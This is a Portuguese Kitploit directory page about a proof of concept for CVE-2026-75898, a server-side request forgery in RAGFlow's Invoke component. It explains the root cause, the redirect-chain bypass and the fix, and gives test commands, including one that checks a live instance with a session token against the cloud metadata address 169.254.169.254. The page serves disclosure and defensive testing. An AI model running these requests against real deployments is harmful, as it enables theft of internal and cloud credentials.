Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/t3bik/cve-2026-75898
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubt3bik/cve-2026-75898

CVE-2026-75898

Prova de conceito para CVE-2026-75898, um SSRF no componente Invoke do RAGFlow. Demonstra a vulnerabilidade com o código-fonte não modificado, inclui testes E2E, comparação de correção e reprodução baseada em Docker para testes de segurança autorizados.

Ver Repositório
10há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-75898 — Componente Invoke do RAGFlow com SSRF

Server-Side Request Forgery (CWE-918) no componente "Invoke" do fluxo de agente do RAGFlow, anterior à versão 0.26.3.

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
Corrigido emv0.26.3
Commits da correçãoc4fe68e, e16d1a0
Referências de issuesinfiniflow/ragflow#15425, #18280
AvisoVulnCheck

Causa raiz

Em agent/component/invoke.py da v0.26.2, o componente Invoke constrói a URL da requisição a partir de modelos de variáveis fornecidos pelo usuário e não realiza nenhuma validação do host resolvido:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

Essa URL chega a requests.get/post/put em _send_request(). Como allow_redirects permanece com o padrão do requests (True), um atacante pode:

  1. definir a url do Invoke para um endereço interno (127.0.0.1, 169.254.169.254, faixas RFC1918, não existe fixação de host resolvido), ou
  2. apontá-la para um host do atacante que faz redirecionamento 302 para a rede interna.

A correção adiciona assert_url_is_safe() + pin_dns() e força allow_redirects=False.

Fonte genuína, não uma reimplementação

Diferente de reimplementações "que parecem iguais", este repositório executa o código-fonte v0.26.2 não modificado do componente vulnerável:

  • target/invoke_v0.26.2.py — agent/component/invoke.py byte a byte da tag v0.26.2.
  • e2e/test_genuine_ssrf.py — carrega esse arquivo real por trás de stubs de importação finos (o stub substitui apenas imports não relacionados: ComponentBase, o decorador timeout e HtmlParser — nenhuma lógica do caminho SSRF é tocada) e prova que o componente alcança um serviço interno diretamente e por meio de uma cadeia de redirecionamentos.
  • e2e/test_fix_guard.py — aplica a proteção upstream (assert_url_is_safe, allow_redirects=False) no mesmo arquivo e mostra que as requisições são bloqueadas.

Reprodutibilidade

Validado de três maneiras independentes:

  1. E2E local no repositório (sem instalação do RAGFlow): e2e/test_genuine_ssrf.py executa o código-fonte não modificado target/invoke_v0.26.2.py contra servidores de laboratório loopback — SSRF confirmado.
  2. Comparação da correção: e2e/test_fix_guard.py aplica a proteção upstream ao mesmo arquivo — bloqueado.
  3. Instância Docker completa: RAGFlow v0.26.2 (infinity+mysql+minio+valkey) via docker compose; um nó Invoke em um fluxo de agente real buscou INTERNAL-DB-SECRET:dbpassword=SuperSecret123 de uma porta de host interna. Consulte LAB_DEMO.md para as evidências verbatim.

Executar o E2E local

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # deve imprimir SSRF confirmed (vulnerável)
python3 test_fix_guard.py     # deve imprimir BLOCKED (comportamento corrigido)

Saída esperada (vulnerável)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

Verificar uma instância RAGFlow ativa

Requer um token de sessão autenticado (o Invoke é executado dentro de um fluxo de agente).

root@kitploit:~
python3 poc.py --poc                                        # E2E local
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

Detecção / remediação

  • Atualize para RAGFlow ≥ 0.26.3.
  • Restrinja os modelos de URL do nó Invoke do agente a uma lista de permissões.
  • Filtre no egress as faixas internas/de metadados da nuvem do backend do RAGFlow.

Divulgação

Corrigido no RAGFlow v0.26.3 (ago 2026). Este PoC foi reconstruído de forma independente a partir do aviso público e dos commits da correção para testes de segurança autorizados e fins educacionais apenas. Não afiliado à InfiniFlow.

Baixar ferramenta